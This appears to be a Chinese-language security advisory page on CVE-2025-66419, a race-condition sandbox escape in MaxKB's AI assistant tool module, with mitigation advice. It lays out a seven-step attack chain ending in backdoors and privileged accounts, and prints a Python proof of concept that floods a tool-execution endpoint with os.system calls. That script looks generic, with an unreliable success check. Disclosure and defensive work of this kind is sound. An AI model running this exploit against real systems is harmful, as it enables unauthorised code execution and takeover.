IPBUF安全漏洞报告
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CVE-2025-66419 CVSS 8.8 高危

CVE-2025-66419 MaxKB工具模块沙箱逃逸权限提升漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-66419
漏洞类型
沙箱逃逸
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MaxKB

相关标签

沙箱逃逸权限提升竞争条件MaxKBCVE-2025-66419开源软件AI助手代码执行

漏洞概述

MaxKB是一款面向企业的开源AI助手系统。该系统在2.3.1及以下版本中存在严重的安全漏洞,攻击者可以利用工具模块(Tool Module)在特定并发条件下实现沙箱环境逃逸,并完成权限提升攻击。MaxKB的AI助手功能允许用户通过自然语言与系统交互,系统内部通过沙箱机制来限制AI执行代码的能力,以防止恶意操作。然而,由于并发条件下的时序问题,攻击者可以绕过沙箱限制,访问受限资源,执行未授权的操作,最终获得系统的高权限访问。该漏洞的成功利用需要攻击者具备一定的系统访问权限,但不需要用户交互即可完成攻击。漏洞已被官方确认并于2025年12月11日公开披露,厂商已在2.4.0版本中完成修复。

技术细节

MaxKB的沙箱逃逸漏洞主要源于工具模块在处理并发请求时的状态管理缺陷。系统通过Python的exec()或eval()函数在受限环境中执行用户提供的代码,并使用多种安全机制(如sys.modules限制、builtins过滤等)来防止危险操作。漏洞利用涉及以下技术细节:1) 攻击者首先通过正常渠道访问MaxKB系统,获得低权限用户账号;2) 利用AI助手的工具调用功能,构造特殊的请求序列;3) 在并发条件下,通过竞争条件(Race Condition)触发沙箱检查的时序漏洞;4) 利用对象序列化/反序列化或代码注入技术绕过安全检查;5) 最终实现任意代码执行,获得系统控制权。攻击者可以利用此漏洞读取敏感数据、修改系统配置或横向移动到其他系统组件。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先对目标MaxKB系统进行侦察,获取系统版本信息,确认版本 <= 2.3.1
STEP 2
步骤2
初始访问:攻击者通过注册或社工手段获取系统的低权限用户账号,成功登录系统
STEP 3
步骤3
漏洞探测:利用AI助手的工具调用功能,构造特殊的请求序列,测试沙箱限制的边界
STEP 4
步骤4
并发攻击:同时发起多个并发请求,利用竞争条件(Race Condition)在沙箱检查的时序窗口中植入恶意代码
STEP 5
步骤5
沙箱逃逸:通过精心设计的payload,绕过sys.modules、builtins等安全限制,成功执行任意Python代码
STEP 6
步骤6
权限提升:利用获得的代码执行能力,读取敏感配置文件、获取数据库凭证或执行系统命令,完成权限提升
STEP 7
步骤7
持久化控制:在目标系统上安装后门、创建特权账户或修改认证配置,实现长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66419 MaxKB Sandbox Escape PoC # Target: MaxKB <= 2.3.1 # Type: Sandbox Escape via Race Condition import requests import json import time import threading TARGET_URL = "http://target-server:8080" USERNAME = "[email protected]" PASSWORD = "password123" def get_auth_token(): """Authenticate and get access token""" login_url = f"{TARGET_URL}/api/auth/login" data = { "username": USERNAME, "password": PASSWORD } response = requests.post(login_url, json=data) return response.json().get('access_token') def send_malicious_request(token, payload_id): """Send malicious tool request with crafted payload""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Crafted payload to exploit race condition malicious_payload = { "tool_name": "code_executor", "parameters": { "code": f"__import__('os').system('whoami')", "context_id": f"context_{payload_id}" } } url = f"{TARGET_URL}/api/tools/execute" try: response = requests.post(url, json=malicious_payload, headers=headers, timeout=5) return response.json() except Exception as e: return {"error": str(e)} def exploit_sandbox_escape(): """Main exploitation function using race condition""" print("[*] Starting CVE-2025-66419 exploitation...") # Step 1: Authenticate token = get_auth_token() if not token: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Launch concurrent requests to trigger race condition threads = [] results = [] for i in range(50): t = threading.Thread(target=lambda idx: results.append(send_malicious_request(token, idx)), args=(i,)) threads.append(t) t.start() time.sleep(0.001) # Small delay to increase race condition probability for t in threads: t.join() # Step 3: Analyze results for successful exploitation for result in results: if result and 'data' in result: output = result.get('data', {}).get('output', '') if 'root' in output or 'www-data' in output or not result.get('error'): print("[+] Sandbox escape potentially successful!") print(f"[+] Output: {output}") return True print("[-] Exploitation did not succeed") return False if __name__ == "__main__": exploit_sandbox_escape()

影响范围

MaxKB <= 2.3.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制用户对AI助手工具调用功能的访问权限,仅授予受信任用户;2) 在负载均衡器或API网关层面实施请求速率限制,防止并发攻击;3) 增强日志监控,对短时间内大量失败的代码执行请求进行告警;4) 考虑在沙箱环境中增加更严格的安全检查,如使用seccomp、AppArmor等内核级隔离机制;5) 对MaxKB服务实施网络隔离,限制可访问范围。

参考链接

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